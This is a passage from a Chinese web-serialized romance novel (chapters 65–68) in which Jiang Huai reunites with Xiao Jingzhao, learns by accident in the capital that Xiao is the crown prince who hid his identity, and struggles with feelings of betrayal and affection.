而到了大周,想和人接触就更难,如果只是单纯的想和人接触,不讲究感情,姜淮可以碰的人自然很多,可姜淮并不想这么做,更何况面对陌生人,他的皮肤饥.渴症反应也不大,可现在和萧靖昭只差一步确定关系,前面还能忍忍,现在一破戒……
姜淮自暴自弃地埋头靠了上去,紧紧抱住萧靖昭,就像抱住他小时候的娃娃抱枕。
萧靖昭心中的甜蜜就像是装满了蜜糖的罐子,都快要满溢出来,四肢百骸都透着丝丝让他无比愉悦的甜。
越是喜欢姜淮,萧靖昭就越是忐忑不安,他清楚姜淮的一切,尽管姜淮对他也是喜欢的,可问题是,他的身份是瞒着姜淮的,这一切都是建立在他虚假的身份上。
若是他的真实身份被姜淮得知,姜淮会是什么反应呢。
萧靖昭一开始没有告诉姜淮,是觉得没有必要,可后来随着他对姜淮的感情加深,又是担心事情被姜淮知道后,姜淮为此忧虑,甚至万一他失败,姜淮或许会想为他报仇,可他不想让姜淮背负这些。
而等到后来,越是喜欢姜淮,萧靖昭就越是担心姜淮对他真实身份的看法。
毕竟姜家会被流放,说到底也是因为他,哪怕流放的旨意是皇帝的意思,况且,萧靖昭和姜淮接触的多了,也知道姜淮不喜欢太复杂的事情,更不喜欢过多的牵涉进政务,在姜淮看来,当官的都有八百个心眼子,而且政治理想和私下的情谊都是可以区分开来。
尽管这些都是可以理解的,但是姜淮不愿意将自己改造成这个样子来适应官场。
而皇帝,在姜淮眼中,显然就是一个纯粹的政治机器,可以佩服敬仰,但是敬而远之。
而太子,萧靖昭试探着问过姜淮的态度,对于太子,姜淮有同情,有叹息,可也是不愿意接近。
这样的态度就让萧靖昭更加不敢说明自己的身份,他怕说明了,连朋友都没得做,姜淮会主动和他疏远。
越是接近复仇成功,萧靖昭就越是清楚,他的身份瞒不了多久,哪怕到时候姜淮不在宫中,可他肯定和姜家人有接触,他的身份也瞒不住了,况且,如果真等姜淮进了京都很久才知道他的身份,萧靖昭清楚,那时候姜淮怕是会更加生气。
毕竟先前隐瞒还可以说是情有可原,而后续的隐瞒就说不过去。
只是,姜淮哪怕表现出对他的喜欢,甚至也来试探他的态度,可这些喜欢带来的安心感还不足以让萧靖昭有底气说出他的身份,他怕姜淮权衡过后,还是选择离开他。
但现在姜淮的举动让萧靖昭意识到,或许他身上还有一点格外的吸引姜淮,这让他多少有了些自信。
第65章 第 65 章
靠了一会, 姜淮才发现他先前嫌弃的那股香气之所以没有出现,是因为萧靖昭没有再穿着那件外袍了,只不过他刚刚醒来时, 满眼都是萧靖昭的身体,就没有注意这点。
客栈里虽然点了炭盆取暖,可就算萧靖昭身体好, 只穿着里衣也实在不行, 尤其是刚刚还裸了一点,这要是着凉。
姜淮左右看看, 在床榻下看到了外袍破碎的身影, 再想想自己睡前的动作, 姜淮都能猜出这件外袍是为什么会变成这样了。
“你带了……”刚开口想问问萧靖昭带了换洗的外袍吗, 只是才说到一半, 姜淮就感觉自己是问了废话,谁随便出门还会带换洗的衣裳。
“你先穿我的吧。”姜淮起身, 让人送了衣裳上来。
姜淮的外袍就算做得宽大, 可萧靖昭身形更加高大,哪怕是放宽了穿着, 也显得有些紧绷。
姜淮有些不满意,可萧靖昭确实满意得不行, 这外袍上还熏染了丝丝清淡的果香,就好像将他包围了一般。
看到萧靖昭在那傻乐,姜淮忍不住伸手捏了捏他的脸,也不知道是不是带兵打仗, 萧靖昭的长相并没有太多的变化, 只是眉宇间带着一丝杀气,看起来越发冷冽威严。
可要是作为恋爱对象, 这份气质可太让人心动了,尤其是萧靖昭在他面前会不自觉放松,反差萌让人心跳加速。
不过美色固然诱人,可也不能当饭吃,姜淮白天基本是晕晕乎乎躺着的状态,几乎没有吃什么东西,现在休息了一阵,人精神了点,食欲也跟着上来,才发现肚子饿的咕咕作响。
“先喝点汤?”萧靖昭出声问。
姜淮随行的车队中,方庖厨也是跟了过来,这一路上都是他负责姜淮的饮食,而抵达客栈后,方庖厨就已经去做饭了,只不过不知道姜淮什么时候吃,炒菜又不能久放,所以现在还只是备好了食材,炖了汤。
姜淮点点头。
很快,火腿鲜笋汤就送了上来。
人饿的时候更加抵抗不住美食的诱.惑,汤碗盖一揭开,那股鲜香气就馋的姜淮眼睛都直了。
看到姜淮的注意力被汤给吸引了,萧靖昭忍不住扯了扯姜淮的衣袖。
察觉到袖子上传来的力道,姜淮回头,看到了萧靖昭眼中的在意,只觉得无比可爱,忍不住摸了摸萧靖昭的脑袋:“你赶着来,也没有吃吧,我们一起吃。”
火腿鲜笋汤炖的分量不少,姜淮拿起碗,准备给萧靖昭盛一碗,只不过他刚将碗拿起来,萧靖昭就已经将碗抢了过去:“小心烫。”
“我烫,你不烫?”看着萧靖昭已经在舀汤了,姜淮没有再试图抢回来,无奈道。
姜淮不知道是不是他的错觉,这么久没有见面,他感觉萧靖昭对他越发的小心紧张起来,甚至是想要讨好他,尽管做的事没有什么区别,可那种态度很明显。
“有茧子隔热,不烫。”萧靖昭盛好了汤,放到姜淮面前。
这话转移了姜淮的注意力,姜淮一把攥住萧靖昭的手,两人的手摊平对比,和萧靖昭相比,姜淮的手要更略微小一点,也更白皙,而手上的茧子对比,姜淮忍不住摩挲一下。
明明隔着手心厚实的茧子,萧靖昭不该有什么感觉的,可轻轻碰一下,萧靖昭只感觉手心传来一阵无法抵御的痒意,五指不自觉蜷缩,将姜淮的手包在掌心。
刚才的动作其实要更亲密一些的,姜淮也只是在意识到萧靖昭醒了的时候尴尬了一会,羞涩的感觉有,但是不算特别多,可此刻,姜淮脸上倒是不算发烫,可心跳的极快,让他眼前都一阵眩晕。
姜淮身子晃了晃,就被萧靖昭一把抱住了。
“是不是还没有歇好,让杜大夫来看看?”萧靖昭的抵抗力比姜淮要强一点,毕竟他刚才可是忍耐了好一会,看到姜淮这样眩晕的样子,只以为是姜淮又身体不适了。
“没事。”一听到萧靖昭说杜大夫,姜淮整个人都清醒了,他自己的身体自己清楚,这要是没有找杜大夫,缓一缓就好了,可要是喊了杜大夫,这一路的颠簸疲倦,就算没有什么大事,说不定还得喝点药补一补。
想想汤药的味道,姜淮深吸口气,将手从萧靖昭手里抽出,决心等身体好之前,先不能太亲密,不然现在的身体好像有点吃不消这种让他过于激动的动作。
“可能是太想喝汤了,我先喝了。”姜淮坐下,舀着鲜汤喝了起来。
不得不说,美食就是能安抚人心,姜淮感觉从暧.昧的气氛中抽身,再喝几口汤,心跳也跟着平缓了下来。
萧靖昭将姜淮的一举一动都看在眼中,虽然并没有猜到姜淮的想法,可姜淮这种刻意的脱离让他有些不安。
姜淮从碗里抬头,看到萧靖昭的眼神,忍不住心中叹了口气,拉着萧靖昭的手,让对方坐到他身边来,想要安抚他一下。
“喝吗?”姜淮舀了一勺汤问。
只不过问完,姜淮才想起来,这是从他碗里舀出来的,还没等姜淮换个勺子,萧靖昭已经低头就着姜淮的汤勺,一口将汤喝了下去。
见萧靖昭都喝了,姜淮干脆多喂了几口,将碗里的汤都喂给萧靖昭,萧靖昭也一口口的都吃完了。
“京都出事了吗?”之前哪怕姜淮发现了萧靖昭的不对劲,可也没有多问,可现在,姜淮犹豫了一番,还是问出口,萧靖昭的不安感太明显了,他不想让对方继续这样下去。
可要说什么事能让萧靖昭不安,姜淮也只能想到京都出事了。
姜淮忐忑之际,就看萧靖昭摇了摇头。
不是京都出事,那莫非是太子,不对,现在要叫新帝的事?
姜淮对原文中的太子印象深刻,但是了解并不多,毕竟原文笔墨并没有描绘太多,可也知道太子自从被皇帝谋害后,对于权力的掌控欲爆棚,兵权也看得非常重,而萧靖昭,姜淮记得萧靖昭这几年升得极快,可以说是和卫轩几乎平级了。
卫轩是太子的舅舅,加上是一条船上的人,可能没有那么容易被忌惮,可萧靖昭是外人,太子要掌权,必然是先从萧靖昭手上收权了,说不定就在京都这些天,萧靖昭被明里暗里的排挤,或者没有这么严重,可也是被人提点要如何如何小心谨慎。
姜淮越想越虐,眉头不自觉地皱起,压低声音道:“是不是陛下对你有忌惮?”
“要是他对你不好,大不了这官我们不当了,反正这么些年赚的银子,也够休息一辈子了。”姜淮眼神坚定道,“要是这样陛下还不满意,大不了我们就一走了之。”
萧靖昭愣住,姜淮说第一句的时候,他还不知道姜淮口中的陛下指的是谁,可接下来的话足以让他明白,这个所谓的陛下指的就是他,姜淮是以为他被新帝欺负了。
听到姜淮说到一走了之,甚至都开始说去哪里能避开这些纷扰,萧靖昭赶忙出声道:“也不是。”
他不能接受姜淮试图离开,甚至顺着对方的话这么想一想,都感觉身心冰凉。
“那是出了什么事让你这么……”姜淮脱口而出,忽然想起他先前抓住那波刺客的念头,该不会这个世界又来搞事吧。
姜淮上下看着萧靖昭,意识到一个问题。
萧靖昭从皂卒到统领大军的将领,而且还有从龙之功,经历堪称传奇,按照一般的小说套路,抵达京都后,应该会有更多的剧情。
比如说身份之谜,本以为是什么普通百姓,实则确实某个世家被遗弃或者拐走的子弟,回到京都后意外知晓了自己的身份。
不过如果是这个的话,应该还不足以让萧靖昭这么紧张,说不定后面还有什么娃娃亲的婚约,或者什么英雄救美的爱情……
萧靖昭不知道姜淮在想什么,只感觉被姜淮看着,后背越来越凉了。
“淮儿……”萧靖昭出声打断姜淮的思路。
姜淮的思路被打断,又感觉自己的猜测有点奇葩,但还是忍不住试探性地问了一句:“这事是不是和你的身世有关?”
姜淮莫非是猜出了他的身份?
萧靖昭闻言心头一震,下意识看向姜淮的眼睛,想看看姜淮猜测出来后的反应。
萧靖昭这个动作几乎就是点明了情况,姜淮想到自己刚才的猜测,忍不住全都问了出来。
萧靖昭忐忑的听到姜淮的问话,不知道是该松口气还是可惜,如果可以的话,他不想让姜淮从其他人口中明了他的身份,可现在,他也不知道要如何开口,如果是姜淮猜出来了就好,可姜淮的想法过于变幻莫测了些。
不过,姜淮能脑洞大开到这种程度,到时候他的身份暴露,姜淮或许也不会太惊讶吧。
“那到底是什么?”见萧靖昭否认,姜淮不猜了,直接问。
“淮儿,我原本的身份并非皂卒,只是为了安全,才隐瞒下来,后来……”萧靖昭将他的心路历程一一道来。
“所以,你原本是什么身份?”姜淮听完,有点好奇。
萧靖昭眨了眨眼睛,这个时候该开口了,只是萧靖昭想到姜淮刚才误以为新帝忌惮他,毫不犹豫就想放下一切离开的态度,忽然不敢开口。
第66章 第 66 章
“你要是知道了, 恐怕会生气。”萧靖昭低头,眼睫微垂,脸上透露出丝丝不安。
生气?
姜淮有点好奇, 萧靖昭到底是什么身份,才会让他生气,只不过看着萧靖昭这个样子, 姜淮也不想继续问下去, 他自觉不管萧靖昭是什么身份,都不至于影响他和萧靖昭此刻的感情。
不过萧靖昭的这个表情, 让姜淮又有了一个猜测。
“该不会是我们的长辈关系不好, 有仇?”
萧靖昭想到皇帝对姜家做的事, 迟疑地点点头, 这也算是有仇吧。
“你向着你家的长辈?”姜淮问, 他现在也不了解是结了什么仇,也不好说要怎么看待, 但是长辈间结仇是长辈的事, 他和萧靖昭又没有仇怨,自然得先看看萧靖昭的态度。
萧靖昭猛摇头, 他怎么可能向着皇帝。
“好了,我知道你的态度了。”姜淮都怕萧靖昭把头摇晕, “既然你不向着你的长辈,那不管是什么恩怨,也都是上一辈的恩怨,不会影响我们之间的感情。”
而且要说感情深浅, 姜淮觉得他对萧靖昭的感情可能比对姜家人更深。
哪怕有原来的记忆, 可快五年了,他和萧靖昭相处的时间已经远超过记忆中和姜家人的接触, 这一路上同甘共苦,只是长辈间的恩怨,姜淮不太在意。
不过姜淮也是看出来了,萧靖昭真的很在意自己的身份,不然不会这么不安。
“行了,你先别说,等我到了京都,我自己来猜猜看。”姜淮拦住了萧靖昭即将出口的话语,既然这身份这么难以说出口,他也不想让萧靖昭逼着自己说出来,还是让他来猜猜看。
“好了,不准说。”眼看萧靖昭眼神坚毅,显然是被他这话触动,想要开口了,姜淮一边说一边捂住他的嘴巴,“我要自己猜猜看,也不知道得过多久才能猜出来。”
“我现在松手,你不准趁我不注意说出来啊。”姜淮也不可能一直捂着萧靖昭的嘴巴,等了一会,觉得萧靖昭应该明白他的态度,这才松开手,不过也没有放松警惕,万一萧靖昭有开口的预兆,就准备再捂住他的嘴巴。
好在这次,萧靖昭是真的放弃了。
因为萧靖昭仔细地想过,等明日到了京都,姜淮大概就可以发现他的身份了。
……
萧靖昭在客栈住了一晚,次日陪着姜淮用了早膳依旧不想离开。
萧靖昭很想陪着姜淮,因为等到了京都,姜淮发现他的身份后,看向他的目光就不会像现在这样了。
“这又不是什么生离……”姜淮看萧靖昭这恋恋不舍地样子,笑着调侃,只是话说到一半,对上萧靖昭不赞同的目光,感觉自己这话说得不太吉利,赶紧又咽了回去。
“放心吧,等到了京都,马上就能再见面,就算不能一起吃午膳,晚膳肯定能一起吃的。”姜淮说着,忽然想起他忘了问的一件事。
“你在京都买的宅子在哪?”姜淮记得萧靖昭上次送信回来没有说这事,昨天看到萧靖昭的时候他都忘了问这事了。
宅子?
萧靖昭握了握拳,他只想让姜淮住在皇宫里,这置办宅子的事自然也就没有做,因为不管宫外的宅邸有多好,可有一个缺点是他无法容忍的,距离皇宫太远了。
“你没买?”姜淮看出萧靖昭的犹豫,“是没有看到什么好宅子吗?”
“回京后,有祖宅。”萧靖昭低声回道,这话也没错,皇宫可是传了一百多年的祖宅,唯一的问题就是这个祖宅有点太大了。
“有祖宅,但是一大家子的住一起,还是算了吧,我们还是置办自己的宅邸比较好,住的也舒心。”姜淮说,他可不太喜欢和长辈住一起,不说别的,就古代这孝道礼节什么的,一大家子住一起,想想都头大,还是一个人住得舒服。
“现在只有我住。”萧靖昭生怕姜淮误会他没有放心上,补充道。
一个人住祖宅?
“你家里的长辈同辈什么的,还在吗?”姜淮犹豫了一下,问了出来。
“还在。”萧靖昭眨了眨眼道。
姜淮忽然感觉萧靖昭家里的情况大概是有点复杂的,如果长辈同辈什么的都在,在古代,一般不太会分开住,尤其是这种大家族,可现在只有萧靖昭一个人住祖宅。
如果是其他人主动分家离开,那只能说萧靖昭不受待见,但是因为他现在的身份,对方不得不低头,要是被赶走,那关系恐怕是更不好了,说不定还有其他的麻烦。
想到这里,姜淮都有点怜爱萧靖昭,忍不住摸了一把头。
“没事,到时候我们两个人住一起,或者再置办一个宅子。”毕竟祖宅听着就感觉很有年代感,而且以往那么多人住,现在只有他们两个人住,他们也可能有后代,住个大宅子还是有点发虚。
听着姜淮说着对住处的想法,萧靖昭眼眸微颤。
“不过,祖宅我就先不过去了吧。”姜淮感觉直接住进去,多少还是有点不太习惯,那宅子里的下人肯定很多,说不定还有什么论资排辈的,他带来的人还要进行磨合,想想就很麻烦。
如果精力充沛,倒是能管理一下,可现在,他只想好好歇一歇。
听到姜淮说让他看看有没有什么可以暂时租住一阵的宅子,萧靖昭感觉从暴露的悬崖边拉回了一点,可又有些懊悔。
“你要是……”看萧靖昭的态度,姜淮还以为对方不太想这样,正要改口,就见萧靖昭点点头,表示马上就去给姜淮看宅子。
“也不用太着急,大不了就再住住客栈。”姜淮安抚道,反正客栈也不是不能住,不过姜淮说了这么多,还是没有想到回姜家去住。
被姜淮交代了一个任务后,萧靖昭也不磨蹭了,直接出发。
看到萧靖昭骑马离开,姜淮有点羡慕,如果可以的话,姜淮也想骑马的,坐马车太累了,骑马虽然也累,但是不至于那么晕。
只是天气有点凉,再加上姜淮的身体经过一晚休息,虽然恢复了不少,可骑马还是太消耗体力,在马车上有什么不舒适,立刻就可以休息,也很安全,可要是骑马不舒服,万一松手从马上掉下来,那危险就太高了。
一路驱车,在路上,姜淮掀开帘子朝外看了看,不知道是不是战事对百姓造成了影响,路上的人并不算多,起码没有姜淮记忆中的行人多,而进了京都后,倒是驱散了这种荒凉感。
京都是一如既往的热闹,好像之前的战事一点影响也没有,甚至连京都的城墙都不像是经过战事的样子。
不过姜淮倒是听说,京都确实是没有经过战火,直接从内就开城门,将太子的人迎了进去。
姜淮正想着该去哪里,虽然他走得慢吞吞的,但是看房子不是一时半会就能完成的事,更何况萧靖昭肯定也是有公务在身的,就这么半天时间,指不定也找不出什么好房子,还是去客栈住算了。
只是姜淮还没有问哪里有客栈,就有人先找了过来,姜淮一眼就认出是先前萧靖昭身边的亲卫,对方早早就等着他们了,一看到姜淮所在的车队,就带着他们去了居所。
“这么快就找好了?”姜淮好奇,左右看了看,没有见到萧靖昭,有些失望。
“陛……毕竟,将军先前就看过这些宅子,知晓这些宅子哪些好,只是有了祖宅,所以才没买下来。”亲卫回道,差点就将萧靖昭的身份说了出来,只是想到姜淮还不清楚萧靖昭的身份,才飞快改口。
“我就说。”姜淮笑出声,他记得说出祖宅前,萧靖昭还犹豫了下,看来那时候说不定是想瞒下这些宅子的事,让他直接住过去。
马车左转右转,越走越僻静,不过僻静可不代表偏僻,姜淮看得出来,这附近的宅子人家都是非富即贵,不过姜淮也没有太过惊讶,毕竟萧靖昭特意找的宅子要是不好,那才奇怪了。
很快,马车就在一处宅邸前停下,仆从都站在门口等着新主人进来。
这些人都是萧靖昭精心挑选出来的,每个人都机灵得很,哪怕没有见到姜淮,都是一心将姜淮当作主人对待,绝对不敢有丝毫的捧高踩低心思。
因为萧靖昭知道,姜淮虽然感觉敏锐,但是为人不苛刻,哪怕感觉到对方的一点小心思,可也不会太在意,可姜淮不在意,他在意,他不能容忍有人对姜淮有一点的不恭敬。
所以在京都的这阵子,处理完朝堂的事务,萧靖昭还特意教出一批足够机灵,又足够清醒的下人,好让他们能保护姜淮。
姜淮倒是一点没有看出来,只是进了宅邸后,发现这些仆从都意外的聪明,行事作风也很符合他的习惯,显然,这些都不会是巧合,这都是萧靖昭精心安排的。
姜淮到了的消息很快就传到了萧靖昭耳中,知道姜淮就住在离皇宫不远的地方,哪怕早上才刚刚分开,萧靖昭就想再去看看姜淮。
第67章 第 67 章
萧靖昭想到姜淮时, 姜淮也想起了萧靖昭。
“魏西是在哪当值的?我去接他。”姜淮问亲卫。
亲卫来迎接姜淮前做好了面对各种问题的准备,可这再怎么准备,也没有想到姜淮居然要去接萧靖昭下值, 可萧靖昭此刻正在永安宫,这个地方肯定是不能说的。
可要说其他地方,姜淮要是进去找人, 这要是没有找到, 那就暴露了。
亲卫急出了一头冷汗,最后在姜淮的目光下回道:“将军被召入宫中, 不知何时才能回来。”
“进宫了?”姜淮说, “那我在宫门口等等他吧, 这么晚了, 应该不会留太久吧。”
见姜淮打定主意了, 亲卫也不敢拦他,只能按照姜淮的吩咐, 准备马车, 载着姜淮去皇宫外等着。
只是这边撒谎了,这消息肯定得赶紧传到萧靖昭耳中, 不然这戏就要被戳穿了。
而得知姜淮到了,萧靖昭就更加坐不住了, 姜淮旅途辛苦,还要等他一起用膳,他怎么舍得让姜淮久等。
卫轩本以为萧靖昭已经将身份告知姜淮了,可看萧靖昭这态度, 就知道他大概是没敢说, 现在要伪装原来的身份,这可比在安远府难多了。
安远府认出萧靖昭的人并不多, 加上他一向只出入军营,自然也就没那么容易暴露,可京都认识萧靖昭的人太多了,这怎么能在姜淮面前瞒着呢。
不说别的,就等姜家人回来,怕就瞒不住了吧,而算算时间,姜家人大概也不会比姜淮晚多少进京。
……
宫门外的人来来往往的,毕竟如今正是忙碌之际,不过停着马车只有姜淮这一辆,倒是显得有些特别。
路过的人都下意识看一眼,想看看这是谁家在这等着,不过姜淮的马车确实眼生,也没有什么特殊的标记,路过的人看了两眼看不出什么,也就收回视线了。
如今事务繁忙,哪里有精力去探究一辆马车,哪怕这马车的出现有些特别。
姜淮坐在马车内没有出去,本来姜淮是想出去的,只是这路过的人,姜淮硬是发现好几张存在记忆中的面孔,不算特别熟悉,但是对方说不定会记得他。
这要是让对方看到了,岂不是要寒暄几句,姜淮现在没有什么精力去和人客套,于是就只坐在马车内,偶尔掀开车帘朝外看看萧靖昭出来没。
不过路过之人的目光姜淮也注意到了,只是这时候都已经在这等了这么会,突然再换位置,就更醒目了,只能继续耐心地等着萧靖昭出来。
好在,没有让姜淮等多久,萧靖昭就从宫里出来了。
“还是头一次看你穿得这么……华贵”姜淮上下打量萧靖昭,有点被惊艳到了。
不等萧靖昭解释什么,姜淮赶紧拉着他上了马车,催着车夫回去,这天气在外面等了这么会儿,哪怕马车里有暖炉,也是有点凉的。
“我已经吩咐好了,估计都已经做好了饭菜,就等我们回去吃。”姜淮絮絮叨叨地说着,都是些非常细碎的小事,但是萧靖昭听得极为仔细。
马车驶过一条小巷,马上就到姜府了,谁知道前方也有马车过来,速度还有些快,原本这巷子是两辆马车都能过的,因为来人的速度过快,哪怕车夫技术极好,却也擦了一下。
猝不及防之下,姜淮身形一晃,直接撞向一旁的车壁,好在萧靖昭眼疾手快,一把拉住了姜淮,才不至于让姜淮撞个眼冒金星。
“你们是哪个府上的,冒冒失失,这可是……”外面有人开口厉声斥责。
姜淮皱了皱眉,就算对方还没有自保名号,可就这态度,显然也是不好得罪的人,或者说本性就是跋扈。
这要是在安远府,就算有这种人,可也比较少见,可在京都,这样的人还不知道有多少,哪怕有些人府上没有什么势力了,可姻亲故旧什么的,七绕八绕的,指不定又能扯上点什么关系,光想想这点就头痛了。
姜淮知道,自己不出面,事情是不好解决了,一把掀开车帘,恰巧,对面马车的主人也掀开帘子,有些不悦地低声说:“云福,不得无礼,这本就是……”
来人一边训斥身边的小厮,一边看向姜淮这边,嘴角带笑,似乎是想和姜淮致歉,而这一抬头,对上姜淮目光的同时,却也恰好对上了萧靖昭的脸。
“太子殿下……”因为过于震惊,萧泽阳的声音都有些破音了。
只是在喊出声后,萧泽阳很快就反应过来,这马车看着极为普通,说明萧靖昭是隐瞒身份出宫的,而他现在叫破了对方的身份,怕是误事了。
萧泽阳左右看了看,发现旁边并没有外人,这才稍微松了口气,却还是有些忐忑地看向萧靖昭,生怕触怒对方。
然后这一看,萧泽阳就发现萧靖昭的反应似乎有些怪,对方完全没有在意他,而是目光紧紧地盯着坐在他前方的俊美青年身上,身体紧绷,似乎在紧张什么。
太子殿下?
刚刚听到这一声喊话时,姜淮还没有反应过来,可看到来人的目光都落到他身后时,姜淮脑子运转得飞快,没有过多思考就意识到了萧靖昭先前和他说过的隐瞒身份到底是什么意思。
想到萧靖昭先前说的先辈有仇,那能不有仇吗?
至于祖宅什么的,皇宫也确实算是祖宅了,至于说只住萧靖昭一个人,那也是再寻常不过,哪个皇帝会允许其他宗亲住到皇宫里来,除非是自己的子嗣,可萧靖昭还一个子嗣也没有呢,自然也就他一个人住了。
以前一些觉得奇怪的事情似乎都有解释得通的理由了。
姜淮能感受到萧靖昭扯住了他的衣袖,没有特别大的力,只是轻轻地牵着,他一用力就能扯开,只是这力道却让人难以忽视。
萧泽阳发现两人微妙的气氛,更是大气都不敢出,他意识到,萧靖昭瞒着身份,或许不是瞒其他人,而是瞒着眼前这个青年,只是却被他一语道破。
想到萧靖昭是怎么处理皇帝和其他妃嫔皇子的,萧泽阳艰难地吞了口口水,他本来想着老实点,萧靖昭也不会把他放在眼里,说不定还有去封地的可能,实在不行也可以在京都闲散地过一辈子,可现在……
“……”萧靖昭等了许久也没有等到姜淮的反应,更加紧张起来,想喊一声,又怕引起姜淮的反感,只能握紧衣袖不敢松手。
“先回去再说。”姜淮强行整理好心绪,回头看了眼萧靖昭,说了一句就落下车帘。
至于外面的人,他也不想再说什么了,因为对方说破了萧靖昭的身份,他有点迁怒。
如果对方没有说,他什么都不知道,今天还能开心地吃一顿饭,可现在,姜淮感觉胃口都没了。
至于萧靖昭,姜淮瞥了眼萧靖昭身上的衣衫,刚看的时候他还没有多想为什么没有穿官服,可现在想想,指不定就是在宫里换了衣服出来,可皇宫里应该是没有备官服,或者说官服不好看。
马车很快就抵达了姜府,迎上来的仆从看到姜淮冷着脸下来还没有想太多,可一直跟在姜淮身边的下人就意识到问题了,姜淮很少有冷脸的状态,尤其是身边跟着萧靖昭时,两人何时这样冷过脸。
姜淮大步朝府内走去,只是看到这座府邸,又想到了萧靖昭的身份。
他刚来的时候看到这宅邸,加上这宅邸离皇宫挺近的,还想着萧靖昭怕是准备了很久,不然怎么能找到这么好的宅邸,可现在看来,分明是做了两手准备。
姜淮往里走,萧靖昭却停了下来,他看得出来姜淮为这事很生气,他不知道自己再跟着进去的话,姜淮会不会更生气。
哪怕这是姜淮让他跟着回来的,可生气是不受控制的,万一气过头伤身了……
没有听到身后的脚步声,姜淮顿了顿,扭头看过去,就看到萧靖昭站在门外担忧地看着他,却不敢进来,活像是个怯生生的小媳妇。
明知道萧靖昭不可能就这么轻易地受伤,可是看到他这个样子,姜淮还是有些不忍心。
之前的感情不是假的,相处了那么久,哪怕知道了萧靖昭的真实身份,姜淮也无法就这么轻易地改变对萧靖昭的态度。
“进来吧,先吃饭,吃完了再说。”丢下这句话,姜淮继续往前走。
萧靖昭紧紧跟了过来,落后姜淮一步,亦步亦趋地跟着姜淮。
今天这顿饭,方庖厨可谓是使出了浑身解数,就想让姜淮满意,只是这次的结果就让他失望了,姜淮吃得并不多,只能说是为了身体健康,勉强吃了一点,吃了六七分饱就吃不下去了,而萧靖昭这个平时吃得最多的人也食不下咽。
萧靖昭想过很多种结果,可在放弃说破身份后,萧靖昭觉得自己或许还能再缓几天,却没想到,在姜淮刚刚进京,他就被人当面戳破了身份。
唯一让萧靖昭庆幸的就是,姜淮似乎还对他有感情,并没有直接抛下他离开。
第68章 第 68 章
饭吃完了, 姜淮看着萧靖昭,又不知道该说什么了。
之前他说能接受萧靖昭的身份,可这个接受不包括接受萧靖昭是太子。
不光是因为萧靖昭是太子后, 姜淮预想的往后生活都会发生翻天覆地的变化,还因为在流放路上和萧靖昭相依为命,还透露出了未来的事, 哪怕是借了先祖托梦的借口, 可也让姜淮在面前萧靖昭时不那么的小心谨慎。
如果萧靖昭的身份普通,哪怕是什么世家外室子, 或者宗室都还好, 可偏偏对方是太子, 那他以前透露出来的那些信息, 对方会分析不出什么吗?
姜淮从来不会低估古人的智慧, 更被说从小在宫廷中长大的人,更是心细如发, 姜淮会感觉自己在萧靖昭应该就是个透明人, 可他对萧靖昭的了解全是建立在虚假上的。
姜淮不觉得萧靖昭在他面前表现出来的性格都是伪装,可真性情估计也不占多少了, 如果性格变了,那他爱的真是萧靖昭吗?
而且最重要的一点, 萧靖昭将他看得如此清楚,那他们之间的感情算是什么。
姜淮越想越后悔让萧靖昭过来了,面对萧靖昭,他都不知道该说什么了。
“淮儿……”看到姜淮的眼神越来越冷静, 萧靖昭更加慌乱, 紧紧攥住姜淮的手,低声唤道。
“我们都先冷静冷静吧。”姜淮抽出被握住的右手, 揉了揉有些发胀的眉心,声音有些低沉。
“……好”萧靖昭手心空了,心里也跟着一空,尽管他不想就这么离开,可姜淮的态度很明显了,他继续待下去只会让姜淮反感,只能低声应道。
萧靖昭走得很慢,只是院落就这么大,再怎么磨蹭,还是从姜淮的视野中消失了,只能隐隐听到一些脚步声。
脚步声渐渐远去,直到彻底消失,姜淮叹了口气,又听到一道极轻的脚步声靠近,是下人送茶水过来。
姜淮灌了一口茶,挥挥手示意下人离开,他想一个人冷静一会。
下人安静地退下去,脚步声很轻,才走到院中就听不到脚步声了。
“等会……”姜淮脑海中电光石火闪出一个念头,突然出声,下人脚步顿住,等着姜淮的吩咐。
姜淮起身走了几步,问道:“你听到我的脚步声了吗?”
“小的听到的。”下人不明所以,却还是老实回答。
“这样呢?”姜淮离远了一点,又走了几步。
下人摇摇头:“这样听不到了。”
“你到这里来。”姜淮示意下人到屋内站着,然后一步步地朝外走去,走几步就要问问对方能不能听到脚步声。
这么一番试验下来,结果就是,除非特意让脚步声加重,不然脚步声在院落的时候就小到听不到了,而想出了院子都能听到,除了要求听的人耳力不错,还要求走路的人特意踩出脚步声。
姜淮想起之前在安远府,他对萧靖昭的脚步声熟悉也是因为总是远远地就能听到声音,才越来越熟悉,可萧靖昭练过武,脚步按理来说不会沉,声音会这么明显,显然是因为特意踩出了声音。
姜淮记得最开始的时候,萧靖昭似乎不是这样的,是因为什么发生的变化呢?
“你走路都没有声音的,有点吓人。”
“我小时候喜欢看闲书,但是爷爷……咳咳,就是祖父不太爱我看,我就偷偷地看,然后听到他来的脚步声,我就赶紧将书藏起来,好几次差点就被发现了。”
“想祖父吗?挺想的,就是没有机会……哦对,等之后还是有机会见面。”
似乎是从那之后,姜淮才对萧靖昭的脚步声越来越熟悉。
“公子?”下人等了一会,还没有等到姜淮接下来的指令,犹豫了好一会才出声。
“下去吧。”姜淮闭眼。
“是。”下人应声,安静地退下。
人的表情会骗人,语言也会骗人,但是这种特意养出来的习惯,还是对萧靖昭完全没有好处的习惯,让姜淮很难相信这里面没有感情在,因为就算是想要骗他,也不必在这种细节上改变自己。
这种改变会让萧靖昭更难受,可效果,要不是姜淮刚刚意识到这点,可能一辈子都发现不了。
姜淮紧紧攥着拳头,心头没来由的涌出一股火气,没忍住踹了几下墙。
“怎么会是太子,怎么会是太子?”
姜淮眉头紧皱,眼眶却有点发酸,狠狠擦了下眼睛,明明还没落泪,眼睛已经有点泛红。
……
一大早,卫轩入宫议事,就看到有人冲他使眼色。
卫轩不明所以,一抬头看到萧靖昭,浑身汗毛倒竖,从所未有的危机感充盈心头,第六感在向他发出危机预警。
而待了一阵后,卫轩肯定自己的感觉没有错,其实萧靖昭的表情并没有很可怕,和往日一样异常的淡漠,可哪怕表情一样,身上的气势也是会变的。
卫轩记得,昨日见过姜淮回宫,加上期待姜淮过来,萧靖昭身上透着一股欢快期待,哪怕表情没有什么变化,可明眼人就能看出萧靖昭心情很好。
可现在,萧靖昭身上的寒意像是能冻死人似的,用词也极为犀利冷酷,虽然处理朝政的速度更快了,可让人情愿不要这种速度。
而且卫轩可记得萧靖昭昨日应该是去见姜淮了,按理说应该更高兴些,怎么会是这个样子?
除非,他们见面出事了!
